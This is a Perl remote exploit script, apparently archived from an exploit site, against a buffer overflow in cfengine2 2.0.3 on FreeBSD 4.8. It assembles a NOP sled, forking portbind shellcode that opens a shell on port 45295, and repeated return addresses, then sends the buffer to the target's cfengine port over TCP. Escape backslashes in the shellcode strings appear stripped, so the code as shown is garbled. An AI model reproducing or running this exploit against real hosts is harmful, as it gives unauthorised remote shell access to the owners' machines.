#!/usr/bin/perl -s
# kokaninATdtors.net / cfengine2-2.0.3 from freebsd ports 26/sep/2003.
# forking portbind shellcode port=0xb0ef(45295) by eSDee
# bug discovered by nick cleaton, tested on FreeBSD 4.8-RELEASE

use IO::Socket;
if(!$ARGV[1])
{ print "usage: ./DSR-cfengine.pl <host> <port> (default cfengine is 5308)n"; exit(-1); }

$host = $ARGV[0];
$port = $ARGV[1];
$nop = "x90";
$ret = pack("l",0xbfafe3dc);
$shellcode = 
"x31xc0x31xdbx53xb3x06x53xb3x01x53xb3x02x53x54xb0".
"x61xcdx80x89xc7x31xc0x50x50x50x66x68xb0xefxb7x02".
"x66x53x89xe1x31xdbxb3x10x53x51x57x50xb0x68xcdx80".
"x31xdbx39xc3x74x06x31xc0xb0x01xcdx80x31xc0x50x57".
"x50xb0x6axcdx80x31xc0x31xdbx50x89xe1xb3x01x53x89".
"xe2x50x51x52xb3x14x53x50xb0x2excdx80x31xc0x50x50".
"x57x50xb0x1excdx80x89xc6x31xc0x31xdbxb0x02xcdx80".
"x39xc3x75x44x31xc0x57x50xb0x06xcdx80x31xc0x50x56".
"x50xb0x5axcdx80x31xc0x31xdbx43x53x56x50xb0x5axcd".
"x80x31xc0x43x53x56x50xb0x5axcdx80x31xc0x50x68x2f".
"x2fx73x68x68x2fx62x69x6ex89xe3x50x54x53x50xb0x3b".
"xcdx80x31xc0xb0x01xcdx80x31xc0x56x50xb0x06xcdx80".
"xebx9a";


$buf = $nop x 2222 . $shellcode . $ret x 500;

$socket = new IO::Socket::INET ( 
Proto  => "tcp",
PeerAddr => $host,
PeerPort => $port, 
);

die "unable to connect to $host:$port ($!)n" unless $socket;

sleep(1); #you might have to adjust this on slow connections
print $socket $buf;

close($socket);


# www.Syue.com [2003-09-27]